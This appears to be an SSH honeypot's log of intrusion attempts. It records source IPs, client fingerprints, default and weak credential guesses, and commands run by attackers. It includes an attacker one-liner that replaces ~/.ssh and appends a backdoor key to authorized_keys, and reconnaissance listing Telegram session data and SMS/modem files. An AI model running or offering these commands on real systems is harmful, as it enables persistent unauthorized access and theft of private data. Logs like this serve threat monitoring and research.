  "start_time": "2026-10-05T02:56:13.067701Z",
  "end_time": "2026-10-05T02:56:15.337385Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubuntu123"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

193.24.211.218

2026-10-05 02:47:07.072947 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / default

Record ID: 848914809d57

Client Version: SSH-2.0-libssh2_1.11.0

Engagement Duration: 1.5s

HASSH Fingerprint: 14b2ddda386a4d1006108ccd231b42fc

{
  "id": "848914809d57",
  "src_ip": "193.24.211.218",
  "start_time": "2026-10-05T02:47:07.072947Z",
  "end_time": "2026-10-05T02:47:08.615451Z",
  "duration": "1.5",
  "version": "SSH-2.0-libssh2_1.11.0",
  "hassh": "14b2ddda386a4d1006108ccd231b42fc",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "default"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

2.188.206.146

2026-10-05 02:46:48.270719 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ubuntu1

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec

Record ID: 88e98d763a76

Client Version: SSH-2.0-Go

Engagement Duration: 2.9s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "88e98d763a76",
  "src_ip": "2.188.206.146",
  "start_time": "2026-10-05T02:46:48.270719Z",
  "end_time": "2026-10-05T02:46:51.186220Z",
  "duration": "2.9",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubuntu1"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

95.85.148.44

2026-10-05 02:41:01.963759 UTC

SUCCESSFUL LOGIN RECONNAISSANCE DATA THEFT COMMANDS RUN ROUTER TARGETING SCORE: 530

Credential acceptance event recorded. Target authentication: ftpuser / test

Remote entity achieved interactive shell state. Command sequence (9 executed):

[obs-node]:~$ /ip cloud print

Command not found: /ip cloud print

[obs-node]:~$ ifconfig

[obs-node]:~$ uname -a

[obs-node]:~$ cat /proc/cpuinfo

[obs-node]:~$ ps | grep '[Mm]iner'

[obs-node]:~$ ps -ef | grep '[Mm]iner'

[obs-node]:~$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

[obs-node]:~$ locate D877F783D5D3EF8Cs

[obs-node]:~$ echo Hi | cat -n

Record ID: be52ecd91f03

Client Version: SSH-2.0-libssh2_1.11.1

Engagement Duration: 1m 4s

HASSH Fingerprint: f45fb203c31069bb280067b71ed92ccb

{
  "id": "be52ecd91f03",
  "src_ip": "95.85.148.44",
  "start_time": "2026-10-05T02:41:01.963759Z",
  "end_time": "2026-10-05T02:42:05.452412Z",
  "duration": "63.5",
  "version": "SSH-2.0-libssh2_1.11.1",
  "hassh": "f45fb203c31069bb280067b71ed92ccb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ftpuser",
    "pass": "test"
  },
  "commands": [
    "/ip cloud print",
    "ifconfig",
    "uname -a",
    "cat /proc/cpuinfo",
    "ps | grep '[Mm]iner'",
    "ps -ef | grep '[Mm]iner'",
    "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
    "locate D877F783D5D3EF8Cs",
    "echo Hi | cat -n"
  ],
  "detailed_commands": [
    {
      "cmd": "/ip cloud print",
      "failed": true,
      "error": "Command not found: /ip cloud print"
    },
    {
      "cmd": "ifconfig",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ps | grep '[Mm]iner'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ps -ef | grep '[Mm]iner'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
      "failed": false,
      "error": null
    },
    {
      "cmd": "locate D877F783D5D3EF8Cs",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo Hi | cat -n",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "/ip cloud print"
  ],
  "score": 530,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "DATA THEFT",
    "COMMANDS RUN",
    "ROUTER TARGETING"
  ]
}

95.85.148.44

2026-10-05 02:40:55.459757 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (4 distinct queries). Vector identities: pi

Record ID: 0a347dc72d63

Client Version: SSH-2.0-libssh2_1.11.1

Engagement Duration: 6.3s

HASSH Fingerprint: f45fb203c31069bb280067b71ed92ccb

{
  "id": "0a347dc72d63",
  "src_ip": "95.85.148.44",
  "start_time": "2026-10-05T02:40:55.459757Z",
  "end_time": "2026-10-05T02:41:01.796951Z",
  "duration": "6.3",
  "version": "SSH-2.0-libssh2_1.11.1",
  "hassh": "f45fb203c31069bb280067b71ed92ccb",
  "attempts": [
    {
      "user": "pi",
      "pass": "FAqY7=MZk66k-ob3Rmk"
    },
    {
      "user": "pi",
      "pass": "5nWt3P-fF4WosQm5O"
    },
    {
      "user": "pi",
      "pass": "pi"
    },
    {
      "user": "pi",
      "pass": "raspberry"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.188.206.146

2026-10-05 02:37:24.594534 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ubuntu!@#$

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec

Record ID: 422adc1926f5

Client Version: SSH-2.0-Go

Engagement Duration: 3.6s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "422adc1926f5",
  "src_ip": "2.188.206.146",
  "start_time": "2026-10-05T02:37:24.594534Z",
  "end_time": "2026-10-05T02:37:28.206822Z",
  "duration": "3.6",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubuntu!@#$"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

2.188.206.146

2026-10-05 02:28:04.046624 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ubuntu$

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec

Record ID: 3249a05a8f68

Client Version: SSH-2.0-Go

Engagement Duration: 3.4s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "3249a05a8f68",
  "src_ip": "2.188.206.146",
  "start_time": "2026-10-05T02:28:04.046624Z",
  "end_time": "2026-10-05T02:28:07.488601Z",
  "duration": "3.4",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubuntu$"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

216.180.246.192

2026-10-05 02:26:58.872346 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 78cd66dd971d

Client Version: SSH-2.0-Go

Engagement Duration: 0.6s

HASSH Fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd

{
  "id": "78cd66dd971d",
  "src_ip": "216.180.246.192",
  "start_time": "2026-10-05T02:26:58.872346Z",
  "end_time": "2026-10-05T02:26:59.456722Z",
  "duration": "0.6",
  "version": "SSH-2.0-Go",
  "hassh": "e54ef3ec27fe1fea7ab64d3fa05359fd",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

139.19.117.130

2026-10-05 02:25:47.703336 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (2 distinct queries). Vector identities: admin

Record ID: d2af9be34f24

Client Version: SSH-2.0-Go

Engagement Duration: 10.0s

HASSH Fingerprint: f1e5e9d24e5e345e8745613bde22d532

{
  "id": "d2af9be34f24",
  "src_ip": "139.19.117.130",
  "start_time": "2026-10-05T02:25:47.703336Z",
  "end_time": "2026-10-05T02:25:57.702272Z",
  "duration": "10.0",
  "version": "SSH-2.0-Go",
  "hassh": "f1e5e9d24e5e345e8745613bde22d532",
  "attempts": [
    {
      "user": "admin",
      "pass": null
    },
    {
      "user": "admin",
      "pass": null
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.122.168

2026-10-05 02:25:28.791394 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 971115fe834f

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "971115fe834f",
  "src_ip": "2.57.122.168",
  "start_time": "2026-10-05T02:25:28.791394Z",
  "end_time": "2026-10-05T02:25:28.966953Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

176.53.159.196

2026-10-05 02:23:26.780704 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: e992b3b78014

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "e992b3b78014",
  "src_ip": "176.53.159.196",
  "start_time": "2026-10-05T02:23:26.780704Z",
  "end_time": "2026-10-05T02:23:27.968812Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

2.188.206.146

2026-10-05 02:18:43.381253 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ubuntu!

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec

Record ID: 676ef9a43dd0

Client Version: SSH-2.0-Go

Engagement Duration: 2.2s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "676ef9a43dd0",
  "src_ip": "2.188.206.146",
  "start_time": "2026-10-05T02:18:43.381253Z",
  "end_time": "2026-10-05T02:18:45.570755Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubuntu!"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

180.106.80.16

2026-10-05 02:18:06.603851 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9ebd862d567c

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "9ebd862d567c",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T02:18:06.603851Z",
  "end_time": "2026-10-05T02:20:06.627740Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

216.180.246.192

2026-10-05 02:16:13.475942 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8e15037970f5

Client Version: SSH-2.0-OPENSSH_7.9

Engagement Duration: 4.3s

HASSH Fingerprint: b21d7cdcc8133dc2b430d1a039fece20

{
  "id": "8e15037970f5",
  "src_ip": "216.180.246.192",
  "start_time": "2026-10-05T02:16:13.475942Z",
  "end_time": "2026-10-05T02:16:17.802928Z",
  "duration": "4.3",
  "version": "SSH-2.0-OPENSSH_7.9",
  "hassh": "b21d7cdcc8133dc2b430d1a039fece20",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

180.106.80.16

2026-10-05 02:16:03.500269 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 8da87744350c

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.9s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "8da87744350c",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T02:16:03.500269Z",
  "end_time": "2026-10-05T02:16:05.411386Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

180.106.80.16

2026-10-05 02:15:57.476691 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4d192de1173b

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "4d192de1173b",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T02:15:57.476691Z",
  "end_time": "2026-10-05T02:17:57.483712Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

180.106.80.16

2026-10-05 02:15:54.465219 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Changeme_1234

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: d834833dbb97

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 10.9s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "d834833dbb97",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T02:15:54.465219Z",
  "end_time": "2026-10-05T02:16:05.400058Z",
  "duration": "10.9",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Changeme_1234"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

180.106.80.16

2026-10-05 02:13:41.513725 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8743ba8931ee

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "8743ba8931ee",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T02:13:41.513725Z",
  "end_time": "2026-10-05T02:15:41.572517Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

180.106.80.16

2026-10-05 02:11:28.634552 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9883244abcf1

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "9883244abcf1",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T02:11:28.634552Z",
  "end_time": "2026-10-05T02:13:28.672152Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

2.188.206.146

2026-10-05 02:09:26.736428 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ubuntu!@#

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec

Record ID: ba511bebb5ba

Client Version: SSH-2.0-Go

Engagement Duration: 3.3s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "ba511bebb5ba",
  "src_ip": "2.188.206.146",
  "start_time": "2026-10-05T02:09:26.736428Z",
  "end_time": "2026-10-05T02:09:30.047408Z",
  "duration": "3.3",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubuntu!@#"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

180.106.80.16

2026-10-05 02:09:15.549637 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b765702d7165

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "b765702d7165",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T02:09:15.549637Z",
  "end_time": "2026-10-05T02:11:15.569948Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}